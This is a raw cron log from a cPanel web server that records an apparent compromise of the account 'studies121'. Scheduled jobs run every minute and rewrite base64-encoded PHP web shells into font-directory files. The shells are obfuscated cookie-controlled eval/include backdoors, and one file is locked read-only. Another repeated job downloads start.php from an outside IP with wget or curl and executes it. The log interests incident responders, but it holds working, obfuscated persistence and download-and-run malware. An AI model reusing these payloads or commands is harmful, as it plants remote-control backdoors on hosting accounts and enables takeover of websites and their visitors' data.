Sep  8 19:18:01 ip-184-168-122-23 CROND[11923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:18:01 ip-184-168-122-23 CROND[11924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:18:01 ip-184-168-122-23 CROND[11927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:18:01 ip-184-168-122-23 CROND[11928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:19:01 ip-184-168-122-23 CROND[12011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:19:01 ip-184-168-122-23 CROND[12014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:19:01 ip-184-168-122-23 CROND[12012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:19:01 ip-184-168-122-23 CROND[12013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12182]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:20:01 ip-184-168-122-23 CROND[12192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:20:01 ip-184-168-122-23 CROND[12189]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:20:01 ip-184-168-122-23 CROND[12193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:21:01 ip-184-168-122-23 CROND[12306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:21:01 ip-184-168-122-23 CROND[12307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:21:01 ip-184-168-122-23 CROND[12311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:21:01 ip-184-168-122-23 CROND[12310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:22:01 ip-184-168-122-23 CROND[12400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:22:01 ip-184-168-122-23 CROND[12402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:22:01 ip-184-168-122-23 CROND[12403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:22:01 ip-184-168-122-23 CROND[12406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:22:01 ip-184-168-122-23 CROND[12405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:23:01 ip-184-168-122-23 CROND[12500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:23:01 ip-184-168-122-23 CROND[12502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:23:01 ip-184-168-122-23 CROND[12503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:23:01 ip-184-168-122-23 CROND[12507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:24:01 ip-184-168-122-23 CROND[12623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:24:01 ip-184-168-122-23 CROND[12625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:24:01 ip-184-168-122-23 CROND[12628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:24:01 ip-184-168-122-23 CROND[12630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:24:01 ip-184-168-122-23 CROND[12629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:25:01 ip-184-168-122-23 CROND[12730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:25:01 ip-184-168-122-23 CROND[12732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:25:01 ip-184-168-122-23 CROND[12734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:25:01 ip-184-168-122-23 CROND[12736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:25:01 ip-184-168-122-23 CROND[12735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:25:01 ip-184-168-122-23 CROND[12737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:26:01 ip-184-168-122-23 CROND[12919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:26:01 ip-184-168-122-23 CROND[12920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:26:01 ip-184-168-122-23 CROND[12921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:26:01 ip-184-168-122-23 CROND[12927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:26:01 ip-184-168-122-23 CROND[12926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:27:01 ip-184-168-122-23 CROND[13011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:27:01 ip-184-168-122-23 CROND[13013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:27:01 ip-184-168-122-23 CROND[13014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:27:01 ip-184-168-122-23 CROND[13016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:28:01 ip-184-168-122-23 CROND[13101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:28:01 ip-184-168-122-23 CROND[13103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:28:01 ip-184-168-122-23 CROND[13106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:28:01 ip-184-168-122-23 CROND[13105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:28:01 ip-184-168-122-23 CROND[13107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:29:01 ip-184-168-122-23 CROND[13181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:29:01 ip-184-168-122-23 CROND[13183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:29:01 ip-184-168-122-23 CROND[13184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:29:01 ip-184-168-122-23 CROND[13185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:30:01 ip-184-168-122-23 CROND[13266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:30:01 ip-184-168-122-23 CROND[13268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:30:01 ip-184-168-122-23 CROND[13269]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:30:01 ip-184-168-122-23 CROND[13273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:30:01 ip-184-168-122-23 CROND[13272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
